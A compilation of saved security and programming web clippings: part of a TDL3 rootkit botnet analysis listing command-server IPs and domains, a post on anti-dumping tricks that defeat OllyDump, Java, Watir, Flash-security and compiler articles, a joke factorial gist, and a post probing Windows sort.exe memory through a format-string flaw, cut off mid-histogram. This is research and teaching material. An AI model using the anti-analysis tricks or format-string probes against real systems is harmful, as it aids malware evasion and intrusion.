<img src='img/Temp2_7859.jpg' width='600' height='300' alt='Версии Windows' />

Windows versions

As you can see from this diagram, Windows XP, which doesn’t support modern
security mechanisms \(UAC, DEP and ASLR\), is the most vulnerable to malicious
software. Relatively small amount of infections for Windows 7 is not connected
to its share among other operating systems, which is pretty high. It is
possible that infection of Windows 7 computer was realized mainly by social
engineering methods.

<img src='img/Temp2_7856.jpg' width='600' height='300' alt='Версии руткита' />

Rootkit versions

<img src='img/Temp2_7852.jpg' width='600' height='300' alt='Версии модуля
TDLCMD.DLL' />

Versions of `TDLCMD.DLL` module

Since `d45648675.cn` server still worked to date of issuing this article
\(14th July 2010\), we decided to collect more actual statistics. We also
analyzed tens of TDL3 rootkit droppers to find IPs of all active command
servers.

Second server `a57990057.cn` is used right now besides `d45648675.cn` \(and
some other\). Each of these two servers has several IPs, and each IP is
corresponds to several domains. List of IPs and their corresponding domain
names is listed in the table below

IP| Domain name| Total number of bots| Number of partner accounts| Date of
first bot installation  
---|---|---|---|---  
91.212.226.60| `d45648675.cn`| 8 547 241| 857| 12.08.2009  
91.212.226.59| `zz87jhfda88.com`  
91.212.226.59| `lj1i16b0.com`  
61.61.20.132| `a57990057.cn`| 7 860 677| 2 547| 31.12.2009  
61.61.20.132| `68b6b6b6.com`  
91.212.226.7| `0o0o0o0o0.com`  
61.61.20.135| `jro1ni1l1.com`  
61.61.20.135| `34jh7alm94.asia`  
As you can see from this table, amount of bots attached to the first server
has increased by about 40% between the dates 07.02.2010 and 14.07.2010. Total
amount of computers, infected by the TDL3 rootkit between 12.08.2009 and
14.07.2010, is more than 16 000 000. Till now Mariposa botnet was considered
as the world largest botnet. At the moment of its termination its volume was
estimated by experts as 12 000 000 bots.

Last updated: 17.03.2012

﻿

  

# waliedassar: Anti-Dumping

**Created:**| _1/11/2012 9:21:32 PM_  
---|---  
**Updated:**| _1/11/2012 9:21:32 PM_  
**Author:**| __  
**Tags:**| _anti-debugging olly_  
  

### Anti-Dumping

I decided to write this post after i read a wonderful paper for Peter Ferrie.
His paper includes several nice anti-dumping tricks. And i am now about to
discuss one of them.  
  
For those who are not familiar with the concept of "Anti-dumping", it is
preventing debuggers from taking memory snapshots of debuggees after they have
already been unpacked. In this post, i will show how to prevent OllyDump from
dumping a debugee.  
  
I quickly checked the source code of OllyDump and found out that:  
1\) The plugin extracts the PE information from the raw file by calling the
"CreateFileA" and "ReadFile" functions. This can be defeated by calling the
"CreateFile" function in our code with the "**dwShareMode** " parameter set to
Zero, thus preventing OllyDump from opening the file and extracting PE info.
See example 1.  

<img src='img/Temp2_10702.jpg' width='400' height='215' />

  
2\) When the user chooses to dump the process by clicking the "Dump" button,
the plugin reads the PE info again, but this time from memory by calling the
"ReadProcessMemory" function analogue and then checks for integrity. This can
be defeated by destroying the PE header at runtime. See example 2.  
  

<img src='img/Temp2_10700.jpg' width='400' height='215' />

<img src='img/Temp2_10701.jpg' width='400' height='272' />

These two pitfalls could have been bypassed by calling the "CreateFileA" and
"ReadFile" functions in the "\_ODBG\_Pluginmainloop" function and then caching
the PE header.  
  
To make things even harder, we can call the "UnmapViewOfFile" function to
unmap the process main executable's image after we have copied it to a new
memory block allocated by the "VirtualAlloc" function or the likes.  
  
  
This can't be accomplished successfully until you :  
  
1\) Fix all absolute addresses e.g. **push 0x00401122** because the whole
image has been mapped at a new image base, that is, the address of the new
memory block.  
  
2\) Change **PEB.ImageBaseAddress** to hold the new image base, otherwise
application may access violate when executing code from the new memory block.  
  
Our code will end up with something like the following:  
1\) Get the size of the main executable image and allocate memory with this
size.  
2\) Copy the whole image to the newly allocated memory \(_new_ image\).  
3\) Call the "UnmapViewOfFile" function to unmap the original image.  
4\) Jump to the newly allocated image and execute code.  
5\) Fix all absolute addresses in the _new_ image and update
**PEB.ImageBaseAddress.**  
6\) Continue execution normally.  
  
Here you can find the source code of example 1, example 2, and example 3.

# Vanilla Java: Java: All about 64-bit programming

**Created:**| _7/15/2011 2:25:07 PM_  
---|---  
**Updated:**| _7/15/2011 2:36:25 PM_  
**Author:**| __  
**Tags:**| _Java x64_  
  

### Java: All about 64-bit programming

## Overview

I found this article series very interesting All about 64-bit programming in
one place which collects "a lot of links on the topic of 64-bit C/C++ software
development."  
  
However some of these issues are relevant to Java and can make a difference.  
  

## The size\_t in C++ is 64-bit

Java uses the _int_ type for sizes and this doesn't change in a 64-bit JVM.
This gives backward compatibility but limits arrays, collections and
ByteBuffer's to this size. Generally 2 billion is enough, but as files sizes
and memory sizes get larger, the number of situations where it is not will
grow over time.  
  
As of mid 2011, for £1K you can buy a PC with 24 GB of memory and for £21K you
can buy a server with 512 GB of memory.  
  
This is already a problem for memory mapping a file larger than 2 GB. This can
only be done by mapping in a 2 GB window of memory \(2^31-1 bytes at a time\).
This is rather ugly and removes one of memory mapping's key features;
transparency.  
  
BTW: I have tried using the underlying library directly using reflection which
supports \`long\` lengths and I could get this working for reading files
larger than 2 GB, but not writing.  
  

## x64 has more registers than x86

This is be a small advantage. If you are performing a lot of operations using
_long_ I have seen about 10% performance improvement.  
  

## 64-bit JVM can access more memory

This is essential if you need more than 1.2-3.5 GB of memory \(depending on
the OS\). The downside is 64-bit references can increase memory usage and slow
performance.  
  
One way to use a 64-bit JVM efficiently is to use the _-XX:+UseCompressedOops_
which uses 32-bit references in a way which can still access 32 GB of memory.
It can do this because every object in the Sun/Oracle JVM is allocated on a
8-byte boundary \(i.e. the lower 3 bits of the address are 000\) By shifting
the bits of the 32-bit reference, it can access 4GB \* 8 or 32 GB in total. It
has been suggested that this should be the default for Java 7.  
  
**Link:** What 64-bit systems are.  
  

## Support for 32-bit programs

Programs written and compiled for a 32-bit JVM will work without re-
compilation. However any native libraries used will not. A 64-bit JVM can only
load 64-bit native libraries.  
  

## Switching between int and long

The _int_ and _long_ types work the same on a 32-bit and 64-bit JVM however if
you switch code between _int_ and _long_ you can get some issues.  
  

### Long literals may need an ell

With all _int_ literals you can just use the number  

[code]

    int i = 123456789;
    long j = 123456789;
    
[/code]

However for large numbers an _L_ is required.  

[code]

    long i = 111111111111111L; // a long literal.
    long j = 111111111111111l; // using `l` is discouraged as it looks like a 1.
    
[/code]

  
If you have a calculated values you may need to use _L_  

[code]

    long i = 1 << 40; // i = 256!
    long i = 1L << 40; // i = 2^40
    
[/code]

The shift operator only takes the lower 5 bits of the shift for 32-bit
numbers, and 6 bits for 64-bit values. So the first line is like

[code]

    long i = 1 << (40 % 32);
    
[/code]

### Shifting puzzle

A puzzle for you. ;\) What does this do for a 32-bit and 64-bit for _x_?

[code]

    sign = x >> -1;
    
[/code]

## 64-bit references and Object size

When using 64-bit references, the size of a reference doubles. In the
Sun/Oracle JVM the header includes a reference. From the Source for Map.Entry

[code]

    class MapEntry implements Map.Entry, Cloneable {
           K key;
           V value;
    
[/code]

With 32-bit references, the header takes 8 + 4 bytes and each reference takes
4 bytes. 8-bytes aligned means it uses \(12+4+4 bytes + 4 padding\) total: 24
bytes. With 64-bit references, the header uses 16-bytes and each references
uses 8 bytes. \(16 + 8 + 8\) total: 32 bytes.

## Conclusion

Migrating from 32-bit to a 64-bit in Java is relatively easy compared with
C/C++ however there are some issues you may need to consider when migrating.

# Watir — PenTestIT

**Created:**| _9/3/2009 9:08:19 AM_  
---|---  
**Updated:**| _9/18/2009 10:32:45 AM_  
**Author:**| __  
**Tags:**| _bookmark python web automation_  
  

# Watir: Automate Web Browsers

by BLACK on SEPTEMBER 1, 2009

in OPEN SOURCE, PENETRATION TESTING, WEB APPLICATION PENETRATION TESTING

**Watir** stands for ‘ _Web Application Testing in Ruby_‘ and is somewhat
similar to  _Doit_. It is anopen source library which helps you automate your
web browser, which has been programmed in Ruby.

It can click links, fill in forms, press buttons. Watir can also check for
results, such as whether expected text appears on the page or not\! It works
cross platform and on almost all the major browsers that you might be using on
the respective operating system. With Watir, you can connect to databases,
read data files and spreadsheets, export XML, and structure your code as
reusable libraries. It supports Internet Explorer on Windows, Firefox on
Windows, Mac and Linux, Safari on Mac, Chrome on Windows and Flash testing
with Firefox\!

For example, we have a very basic test here:

1\. Load the Watir library: `require 'watir'`  
2\. Open a Internet Explorer: `browser = Watir::IE.new`  
3\. Open a specified URL: `browser.goto "http://www.google.com"`  
4\. Insert a search string ‘PenTestIT’ in the search field:
`browser.text_field(:name, "q").set "PenTestIT" # "q" is the name of the
search field`  
**Note** : This information is gained from the Google source: `input
title="Google Search" maxlength="2048" name="q" size="55" type="text"`  
5\. Click on the ‘Search’ button: `browser.button(:name, "btnG").click #
"btnG" is the name of the Search  
button`  
**Note** : This information is gained from the Google source: `input name=btnG
type=submit value="Google Search"`  
6\. Close the browser: `browser.close`

Download Watir **here****** or access a smiple cheat sheet **here**.

#### Related External Links

  * What IDE do you use for **Watir**? « WatirMelon

ShareThis

### Related Posts

  * August 27, 2009 -- Doit: A Simple Web Application Tester

  

  *[SEPTEMBER 1, 2009]: 2009-09-01

# gist: 289467 - GitHub

**Created:**| _1/31/2010 2:56:20 PM_  
---|---  
**Updated:**| _1/31/2010 2:56:35 PM_  
**Author:**| __  
**Tags:**| _python programming_  
  

[/code]

[code]

\#Newbie programmer

def factorial\(x\):

if x == 0:

return 1

else:

return x \* factorial\(x - 1\)

print factorial\(6\)

\#First year programmer, studied Pascal

def factorial\(x\):

result = 1

i = 2

while i <= x:

result = result \* i

i = i + 1

return result

print factorial\(6\)

\#First year programmer, studied C

def fact\(x\): \#\{

result = i = 1;

while \(i <= x\): \#\{

result \*= i;

i += 1;

\#\}

return result;

\#\}

print\(fact\(6\)\)

\#First year programmer, SICP

@tailcall

def fact\(x, acc=1\):

if \(x > 1\): return \(fact\(\(x - 1\), \(acc \* x\)\)\)

else: return acc

print\(fact\(6\)\)

\#First year programmer, Python

def Factorial\(x\):

res = 1

for i in xrange\(2, x + 1\):

res \*= i

return res

print Factorial\(6\)

\#Lazy Python programmer

def fact\(x\):

return x > 1 and x \* fact\(x - 1\) or 1

print fact\(6\)

\#Lazier Python programmer

f = lambda x: x and x \* f\(x - 1\) or 1

print f\(6\)

\#Python expert programmer

import operator as op

import functional as f

fact = lambda x: f.foldl\(op.mul, 1, xrange\(2, x + 1\)\)

print fact\(6\)

\#Python hacker

import sys

@tailcall

def fact\(x, acc=1\):

if x: return fact\(x.\_\_sub\_\_\(1\), acc.\_\_mul\_\_\(x\)\)

return acc

sys.stdout.write\(str\(fact\(6\)\) + '\n'\)

\#EXPERT PROGRAMMER

import c\_math

fact = c\_math.fact

print fact\(6\)

\#ENGLISH EXPERT PROGRAMMER

import c\_maths

fact = c\_maths.fact

print fact\(6\)

\#Web designer

def factorial\(x\):

\#-------------------------------------------------

\#--- Code snippet from The Math Vault ---

\#--- Calculate factorial \(C\) Arthur Smith 1999 ---

\#-------------------------------------------------

result = str\(1\)

i = 1 \#Thanks Adam

while i <= x:

\#result = result \* i \#It's faster to use \*=

\#result = str\(result \* result + i\)

\#result = int\(result \*= i\) \#??????

result str\(int\(result\) \* i\)

\#result = int\(str\(result\) \* i\)

i = i + 1

return result

print factorial\(6\)

\#Unix programmer

import os

def fact\(x\):

os.system\('factorial ' + str\(x\)\)

fact\(6\)

\#Windows programmer

NULL = None

def CalculateAndPrintFactorialEx\(dwNumber,

hOutputDevice,

lpLparam,

lpWparam,

lpsscSecurity,

\*dwReserved\):

if lpsscSecurity \!= NULL:

return NULL \#Not implemented

dwResult = dwCounter = 1

while dwCounter <= dwNumber:

dwResult \*= dwCounter

dwCounter += 1

hOutputDevice.write\(str\(dwResult\)\)

hOutputDevice.write\('\n'\)

return 1

import sys

CalculateAndPrintFactorialEx\(6, sys.stdout, NULL, NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL\)

\#Enterprise programmer

def new\(cls, \*args, \*\*kwargs\):

return cls\(\*args, \*\*kwargs\)

class Number\(object\):

pass

class IntegralNumber\(int, Number\):

def toInt\(self\):

return new \(int, self\)

class InternalBase\(object\):

def \_\_init\_\_\(self, base\):

self.base = base.toInt\(\)

def getBase\(self\):

return new \(IntegralNumber, self.base\)

class MathematicsSystem\(object\):

def \_\_init\_\_\(self, ibase\):

Abstract

@classmethod

def getInstance\(cls, ibase\):

try:

cls.\_\_instance

except AttributeError:

cls.\_\_instance = new \(cls, ibase\)

return cls.\_\_instance

class StandardMathematicsSystem\(MathematicsSystem\):

def \_\_init\_\_\(self, ibase\):

if ibase.getBase\(\) \!= new \(IntegralNumber, 2\):

raise NotImplementedError

self.base = ibase.getBase\(\)

def calculateFactorial\(self, target\):

result = new \(IntegralNumber, 1\)

i = new \(IntegralNumber, 2\)

while i <= target:

result = result \* i

i = i + new \(IntegralNumber, 1\)

return result

print StandardMathematicsSystem.getInstance\(new \(InternalBase, new
\(IntegralNumber, 2\)\)\).calculateFactorial\(new \(IntegralNumber, 6\)\)

# ArticleFlashSecurity - doctype - Introduction to Flash security - Project
Hosting on Google Code

**Created:**| _2/5/2010 9:27:17 AM_  
---|---  
**Updated:**| _2/5/2010 9:27:24 AM_  
**Author:**| __  
**Tags:**| _Flash web-app-sec_  
  

ArticleFlashSecurity

Introduction to Flash security

Flash is a broadly-deployed technology, but its security controls are still in
their infancy. Unfortunately, both web applications using Flash and web
applications not using Flash are affected by insecure design of Adobe's Flash
Player.

This section discusses some important pitfalls to watch out for when
developing Flash applications, when hosting user-submitted`.swf` files, and
when interacting with Flash applications hosted on other sites.

## A brief look at the Flash security model

By default the security model for Flash is similar to the Same Origin Policy.
Flash can only read responses from requests from the same domain where the
Flash application originated. Flash also places some security around making
HTTP requests, but one can usually make cross domain GET requests via Flash's
`getURL()` function. Also, Flash does not allow Flash applications that are
loaded over HTTP to read HTTPS responses.

Flash does allow cross-domain communication, if a security policy on the other
domain permits communication with the domain where the Flash application
resides. The security policy is an XML file, usually named `crossdomain.xml`
and located in the root directory of the other domain. The worst policy file
from a security perspective looks something like this:

[code]

    <cross-domain-policy> 
        <allow-access-from domain="*" /> 
    </cross-domain-policy>
    
[/code]

The above policy allows any Flash application to communicate \(cross-domain\)
with the server hosting this `crossdomain.xml` file.

Despite the naming convention, the policy file can reside at any URL, with any
name, in any directory. A Flash application can load an arbitrary security
policy file with one line of ActionScript:

[code]

    System.security.loadPolicyFile(“http://www.google.com/crossdomain.xml”);
    
[/code]

If it is not in the server's root directory, then the policy only applies to
the directory that the policy file is in and all its subdirectories. For
instance, say policy file was located in
`http://www.example.com/sub/crossdomain.xml`. Then the policy would apply to
requests like`http://www.example.com/sub/stuff.html` and
`http://www.example.com/sub/more/stuff.html`, but not to pages
like`http://www.example.com/` or `http://www.example.com/admin/`.

## XSS via Flash applications

The most common cause of XSS is that a vulnerable server does not validate
user input, so an attacker can inject HTML that includes malicious JavaScript.
However, XSS can also occur through client-side Flash applications, if user
input within the Flash application is not properly validated. Finding XSS in
Flash applications is arguably easier than on web applications because
attackers can decompile Flash applications and find security issues in the
source code, rather than blindly testing server side web applications.

## Further reading

  *   * Flash cross-domain policy files
  * Flash cross-domain policy attacks
  * Flash getURL XSS attacks
  * Flash clickTAG XSS attacks
  * Flash TextField XSS attacks
  * Flash loadMovie XSS attacks
  * Flash asFunction XSS attacks
  * Flash URL parameter XSS attacks
  * HOWTO secure your Flash applications

# Introducing ‘/Gw’ Compiler Switch - Visual C++ Team Blog - Site Home - MSDN
Blogs

**Created:**| _9/13/2013 9:25:03 AM_  
---|---  
**Updated:**| _9/13/2013 9:25:03 AM_  
**Author:**| __  
**Tags:**| _compiler-building visualstudio_  
  

# **I** ntroducing ‘/Gw’ Compiler Switch****

A compiler can only optimize away data or a function if a compiler can prove
that the data or function will never be referenced**.** In a non-LTCG  compile
\(i**.** e. a build with Whole Program Optimization \(WPO\)  disabled\) the
compiler's visibility is only limited to a single module \(.obj\), so for data
and function that has global scope, the compiler will never know if other
modules will be using them**.** As a result of this compiler can never
optimize them away**.**

Linker has a good view of all the modules that will be linked together, so
linker is in a good position to optimize away unused global data and
unreferenced functions**.** The linker however manipulates on a section level,
so if the unreferenced data/functions are mixed with other data or functions
in a section, linker won't be able to extract it out and remove it**.** In
order to equip the linker to remove unused global data and functions, _we need
to put each global data or function in a separate section, and we call these
small sections "**COMDATs**_ "**.**

# \(/Gw\) Compiler Switch****

Today using the \(/Gy \) compiler switch instructs the compiler to **only**
package individual functions in the form of packaged functions or COMDATs,
each with its own section header information**.** This enables function-level
linkage and enables linker optimizations ICF \(folding together identical
COMDATs\) and REF\(eliminating unreferenced COMDATs\) **.** In VS2013
\(download here \), **we have introduced a new compiler switch \(/Gw\) which
extends these benefits \(i**.** e. linker optimizations\) for data as well.**

For further understanding let us take a look at an example below**.** Feel
free to try them out yourselves:

<img src='http://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-
components-
weblogfiles/00-00-00-65-69-metablogapi/8662.091013_5F00_1047_5F00_Introducing1.png'
/>

_Figure 1: Linker optimizations \(i**.** e**.** REF\) triggered from using the
/Gy compiler flag _

If a user compiles the code snippets in figure 1 \(foo.cpp and bar.cpp\)
with/without the /Gy compiler flag and subsequently links \(_link /opt:ref
/map foo.obj bar.obj_\) it with the linker optimizations enabled \(i**.**
e**.** /opt:ref\), in the resultant map file generated one can observe that
function 'foo' have been removed**.** However one can still observe the
occurrence of global data 'globalRefCount' in the map file**.** As mentioned
before, /Gy only instructs the compiler to package individual functions as
COMDATs and not data**.** **Additionally, supplying the /Gw compiler flag** in
addition to the /Gy flag allows packaging of both data and functions as
COMDATs allowing the linker to remove both function 'foo' and
'globalRefCount'**.**

# \(/Gw\) with LTCG \(Whole Program Optimization****\)

Given that with LTCG enabled, the compiler visibility extends beyond that of a
single module it might not be obvious to understand what a user might gain
from enabling this feature with WPO builds**.** For example, if you compile
the example depicted in figure 1 with WPO the compiler can optimize away both
the function 'foo' and data entity 'globalRefCount'**.** However if the
example described above is slightly changed to what's depicted in the figure
below, then just compiling with WPO does not help**.** Once an address of a
global variable is taken it is very hard for the compiler to prove that the
global is not read or written to by other functions in the magic world of
pointers and the compiler gives up optimizing such scenarios even with WPO
enabled**.**

But with the help of /Gw, linker can still remove unreferenced data entities
here, because linker's REF optimization will not be blocked by things like
address taken**.** Linker knows precisely whether it's referenced or not
because any reference to global data would show up as a linker fixup \(coff
relocation\), and that has nothing to do with address taken or not**.** The
example below may look like some hand-made case, but it can be easily
translated to real world code**.**

<img src='http://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-
components-
weblogfiles/00-00-00-65-69-metablogapi/7288.091013_5F00_1047_5F00_Introducing2.png'
/>

_Figure 2: Address of a global variable is taken_

With and with only **WPO** enabled builds,**we also benefit from linker ICF
optimization** \(link /ltcg /map**/opt:icf** foo.obj bar.obj
/out:example.exe\)besides REF when /Gw is on**.** If we take a look at example
depicted in figure 3 below, without /Gw, there'll be two identical 'const int
data1\[\], const int data2\[\]' in the final image**.** If we enable '/Gw',
'data1' and 'data2' will be folded together**.** _Please note_ , the ICF
optimization will only be applied for identical COMDATs where their address is
not taken, and they are read only**.** If a data is not address taken, then
breaking address uniqueness by ICF won't lead to any observable difference,
thus it is valid and conformant to the standard**.**

<img src='http://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-
components-
weblogfiles/00-00-00-65-69-metablogapi/2313.091013_5F00_1047_5F00_Introducing3.png'
/>

 _Figure 3: Linker ICF Optimization for Data COMDAT  
  
_

# Wrap Up****

To summarize, with '/Gw' compiler switch we now enable linker optimizations
\(REF and ICF\) to also work upon unreferenced and identical Data COMDATs**.**
For folks already taking advantage of function-level linkage this should be
fairly easy to understand**.** We have seen double digit gains \(%\) in size
reduction when enabling this feature for building binaries which constitute
some high volume Microsoft products so I would encourage you folks to try it
out as well and get back to us**.** At this point you should have everything
you need to get started**\!** Additionally, if you would like us to blog about
some other compiler technology please let us know we are always interested in
learning from your feedback**.**

****

# Exploit Monday: Leveraging format string vulnerabilities to interrogate
Win32 process memory

**Created:**| _7/19/2011 10:36:53 PM_  
---|---  
**Updated:**| _7/20/2011 3:37:14 PM_  
**Author:**| __  
**Tags:**| _Exploit commandline-kungfu windows environment_  
  

### Leveraging format string vulnerabilities to interrogate Win32 process
memory

Although format string vulnerabilities aren't seen as much in the wild these
days since they are so easy to spot in source code, I'd like to use this class
of vulnerability to demonstrate what information can be inferred from a memory
leak. Format string vulnerabilities open a window into the stack, allowing you
can interrogate process memory. As a case study I'll be utilizing a format
string vulnerability in a Windows utility that has persisted since the dawn of
unix time - sort.

  

The vulnerability lies in the filename command line argument of the sort
utility. The source likely implements the following function call\[1\]:

  

fprintf\(file\_stream, filename\);

  

Secure format strings 101 would teach you that this is wrong. Nonetheless,
some crusty old Microsoft employee made the mistake and MS has deemed this
vulnerability not important enough to update. I digress.

  

Some notes about Microsoft's implementation of fprintf in sort as of XP SP3 -
Windows 7:

  * The %n format specifier is disabled preventing arbitrary 4-byte overwrites
  * Direct parameter access \(%5$p\) is disabled which results in very long format strings

  

The following example shows the layout of the function arguments on the stack:

  

C:\>sort AAAA:%p:%p:%p:%p:%p:%p:%p:

AAAA:761A35D9:00000000:00000000:00000000:003F47C8:0000001A:41414141:

  

Knowledge of the how arguments are passed to the printf function would
indicate the following:

  * 1st dword: address of the FILE struct
  * 5th dword: pointer to format-string \(unicode\)
  * 6th dword: number of characters printed
  * 7th dword: hex representation of the first four characters of the format string

  

To show that the 5th dword actually points to a unicode representation of the
format string, the command can be edited as follows:

  

C:\>sort AAAA:%p:%p:%p:%p:%ls

AAAA:761A35D9:00000000:00000000:00000000:AAAA:%p:%p:%p:%p:%ls:%p:...

  

By dereferencing the pointer as a wide string \(%ls\), the format string was
reflected in stderr.

  

Some analysis of the above output indicates the presensence of ASLR:

  

C:\>for /L %i in \(1,1,20\) do @\(sort AAAA:%p:%p:%p:%p:%p:\)

AAAA:761A35D9:00000000:00000000:00000000:00**05** 47A8:...

AAAA:761A35D9:00000000:00000000:00000000:00**37** 47A8:...

AAAA:761A35D9:00000000:00000000:00000000:00**0E** 47A8:...

AAAA:761A35D9:00000000:00000000:00000000:00**3F** 47A8:...

AAAA:761A35D9:00000000:00000000:00000000:00**17** 47A8:...

AAAA:761A35D9:00000000:00000000:00000000:00**18** 47A8:...

AAAA:761A35D9:00000000:00000000:00000000:00**22** 47A8:...

AAAA:761A35D9:00000000:00000000:00000000:00**17** 47A8:...

AAAA:761A35D9:00000000:00000000:00000000:00**06** 47A8:...

AAAA:761A35D9:00000000:00000000:00000000:00**11** 47A8:...

AAAA:761A35D9:00000000:00000000:00000000:00**23** 47A8:...

AAAA:761A35D9:00000000:00000000:00000000:00**40** 47A8:...

AAAA:761A35D9:00000000:00000000:00000000:00**2E** 47A8:...

AAAA:761A35D9:00000000:00000000:00000000:00**38** 47A8:...

AAAA:761A35D9:00000000:00000000:00000000:00**27** 47A8:...

AAAA:761A35D9:00000000:00000000:00000000:00**28** 47A8:...

AAAA:761A35D9:00000000:00000000:00000000:00**39** 47A8:...

AAAA:761A35D9:00000000:00000000:00000000:00**2C** 47A8:...

AAAA:761A35D9:00000000:00000000:00000000:00**1A** 47A8:...

AAAA:761A35D9:00000000:00000000:00000000:00**29** 47A8:...

  

Notice that the 2nd byte of the format string pointer changes each time. After
sampling approximately 10000 addresses, some interesting statistics were
gleaned:

  

2nd byte Occurances Rate of occurance

05 117 1.2%

06 135 1.4%

07 109 1.1%

08 97 1.0%

09 151 1.5%

0A 129 1.3%

0B 147 1.5%

1C 124 1.2%

1D 156 1.6%

1E 193 1.9%

1F 225 2.3%

20 192 1.9%

21 211 2.1%

22 199 2.0%

23 207 2.1%

24 199 2.0%

25 198 2.0%

26 213 2.1%

27 241 2.4%

28 185 1.9%

29 238 2.4%

2A 256 2.6%

2B 268 2.7%

2C 246 2.5%

2D 277 2.8%

2E 285 2.9%

2F 275 2.8%

30 318 3.2%

31 310 3.1%

32 321 3.2%

33 293 2.9%

34 301 3.0%

**35 331 3.3%**

36 301 3.0%

37 312 3.1%

38 306 3.1%

39 323 3.2%

3A 312 3.1%

3B 306 3.1%

3C 102 1.0%

3D 121 1.2%

3E 108 1.1%

3F 94 0.9%

40 99 1.0%

41 90 0.9%

42 87 0.9%

43 67 0.7%

44 54 0.5%

45 41 0.4%

46 35 0.4%

47 32 0.3%

48 22 0.2%

49 10 0.1%

  

Occurances divided by 5 \(to save space\)

==================================

05 \#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#

06 \#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#

07 \#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#

08 \#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#

09 \#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#

0A \#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#

0B \#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#

1C \#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#

1D \#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#

1E
\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#

1F
\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#

20
\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#

21
\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#

22
\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#

23
\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#

24
\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#

25
\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#

26
\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#

27
\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#

28 \#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#

29
\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#

2A
\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#

2B
\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#

2C
\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#

2D
\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#

2E
\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#

2F
\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#

30
\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#

31
\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#

32
\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#

33
\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#

34
